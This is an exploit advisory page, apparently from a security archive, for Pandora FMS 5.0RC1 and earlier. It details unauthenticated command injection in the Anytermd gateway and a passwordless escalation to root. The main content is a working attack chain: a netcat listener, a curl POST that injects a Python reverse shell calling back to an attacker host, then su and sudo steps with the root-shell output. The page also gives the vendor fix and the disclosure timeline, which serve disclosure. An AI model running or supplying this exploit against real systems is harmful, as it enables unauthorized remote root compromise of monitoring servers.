all things security

Pandora FMS 5.0RC1 Code Execution

Pandora FMS 5.0RC1 Code Execution
Posted Jan 29, 2014
Authored by xistence

Pandora FMS versions 5.0RC1 and below suffer from a code execution vulnerability.

tags | exploit, code execution
MD5 | d9057714df010cfac019fecec177b539

Pandora FMS 5.0RC1 Code Execution

Change Mirror Download
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Pandora FMS 5.0RC1 and below

-------------------------
Affected vendors:
-------------------------

Pandora FMS
http://pandorafms.com/

-------------------------
Product description:
-------------------------

Enterprise IT Monitoring for Networks, Applications, Servers and Virtual
Infrastructure

----------
Details:
----------

[ 0x01 - Remote Code Execution ]

The Pandora 4.0.3 / 4.1 / 5.0 RC1 appliances are prone to security
vulnerabilities.
The Anytermd daemon used for the SSH/Telnet gateway on TCP port 8022/8023
is vulnerable to command injection in the "p" POST parameter,
which allows any unauthenticated attacker to execute arbitrary commands
with the rights of the "pandora" user.

The 4.1 and 5.0 RC1 appliances also fail to set a password for the "artica"
user during installation to the harddrive. It's not possible
to gain SSH access using this user if there's no password set. However it's
possible to use the above vulnerability to "su" to the "artica" user and
from there "sudo"
to the "root" user as "sudo" won't ask for a password either.
This issue doesn't exist in the 4.0.3 appliance.

Below are the steps to reproduce this. Gaining a shell as "pandora" is
possible on all Pandora versions,
the other privilege escalation steps are only on 4.1 / 5.0.


# Open a linux/osx terminal and run a netcat listener like this:

nc -vl 8888

# Execute the following curl command, replace "123.123.123.123" with the IP
of the Pandora server and "321.321.321.321" with the machine running netcat.
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--data-binary $'a=open&p=%60python -c \'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"321.321.321.321\",8888));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);\'%60' \
'http://123.123.123.123:8022/anyterm-module'


# In the netcat shell you'll receive a shell as user "pandora". Use the
following command to spawn a pty: python -c 'import
pty;pty.spawn("/bin/bash")'
# Change user to artica by doing a "su - artica". From here do a "sudo -s"
to gain a root shell. Below is how it should look like.

$ nc -vl 8888
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.1$ su - artica
su - artica
-bash-4.1$ id
id
uid=501(artica) gid=501(artica) groups=501(artica)
-bash-4.1$ sudo -s
sudo -s
[root@localhost artica]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost artica]#


-----------
Solution:
-----------

Upgrade to Pandora FMS 5.0 final or later

--------------
Timeline:
--------------

04-10-2013 - Issues discovered and vendor notified
04-10-2013 - Reply from vendor stating they will fix it asap
10-10-2013 - Reply from vendor that they fixed the issue
04-11-2013 - Release of Pandora FMS 5.0 final
29-01-2014 - Public disclosure

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    22 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close